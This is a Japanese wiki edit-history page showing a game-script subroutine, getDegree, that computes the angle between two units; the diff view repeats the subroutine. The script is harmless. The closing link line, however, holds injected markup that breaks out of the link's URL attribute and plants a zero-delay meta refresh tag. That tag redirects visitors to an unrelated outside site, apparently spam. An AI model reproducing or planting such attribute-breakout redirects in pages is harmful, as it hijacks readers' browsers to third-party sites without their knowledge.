「ユニット間の角度を求める」の編集履歴(バックアップ)一覧はこちら
「ユニット間の角度を求める」(2007/12/09 (日) 22:23:58) の最新版変更点
追加された行は緑色になります。
削除された行は赤色になります。
*ユニット間の角度を求めるサブルーチン
ある2つのユニット間の角度を求めます。
第一引数に指定されたユニットを原点とし、そのユニットの右側が0度、反時計回りに角度が増加していきます。
# 書式:getDegree(UnitID, UnitID)
# Args(1)を原点にArgs(2)に対する角度を求める。
# 右を0°とし、反時計回りに増加する。(0~360)
getDegree:
Local wx1 wy1 wx2 wy2
# 対象ユニットの座標をピクセルで取得
wx1 = WX(Args(1))
wy1 = WY(Args(1))
# 相手ユニットの座標をピクセルで取得
wx2 = WX(Args(2))
wy2 = WY(Args(2))
# タンジェントを求める
Local tanj = (wx1 - wx2) / (wy2 - wy1)
# ラジアンに直す
Local deg = Atn(tanj)
# 度に直す
deg = 180 * deg / 3.141592
deg = Int(deg)
If wx1 = wx2 Then
If wy1 > wy2 Then
deg = 90
Else
deg = 270
Endif
Elseif wx1 > wx2 Then
If wy1 = wy2 Then
deg = 180
Elseif wy1 > wy2 Then
deg = Abs(deg) + 90
Else
deg = 270 - deg
Endif
Else
If wy1 = wy2 Then
deg = 0
Elseif wy1 > wy2 Then
deg = 90 - deg
Else
deg = Abs(deg) + 270
Endif
Endif
Return deg
*ユニット間の角度を求めるサブルーチン
ある2つのユニット間の角度を求めます。
第一引数に指定されたユニットを原点とし、そのユニットの右側が0度、反時計回りに角度が増加していきます。
# 書式:getDegree(UnitID, UnitID)
# Args(1)を原点にArgs(2)に対する角度を求める。
# 右を0°とし、反時計回りに増加する。(0~360)
getDegree:
Local wx1 wy1 wx2 wy2
# 対象ユニットの座標をピクセルで取得
wx1 = WX(Args(1))
wy1 = WY(Args(1))
# 相手ユニットの座標をピクセルで取得
wx2 = WX(Args(2))
wy2 = WY(Args(2))
# タンジェントを求める
Local tanj = (wx1 - wx2) / (wy2 - wy1)
# ラジアンに直す
Local deg = Atn(tanj)
# 度に直す
deg = 180 * deg / 3.141592
deg = Int(deg)
If wx1 = wx2 Then
If wy1 > wy2 Then
deg = 90
Else
deg = 270
Endif
Elseif wx1 > wx2 Then
If wy1 = wy2 Then
deg = 180
Elseif wy1 > wy2 Then
deg = Abs(deg) + 90
Else
deg = 270 - deg
Endif
Else
If wy1 = wy2 Then
deg = 0
Elseif wy1 > wy2 Then
deg = 90 - deg
Else
deg = Abs(deg) + 270
Endif
Endif
Return deg
[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]
表示オプション
横に並べて表示:
変化行の前後のみ表示: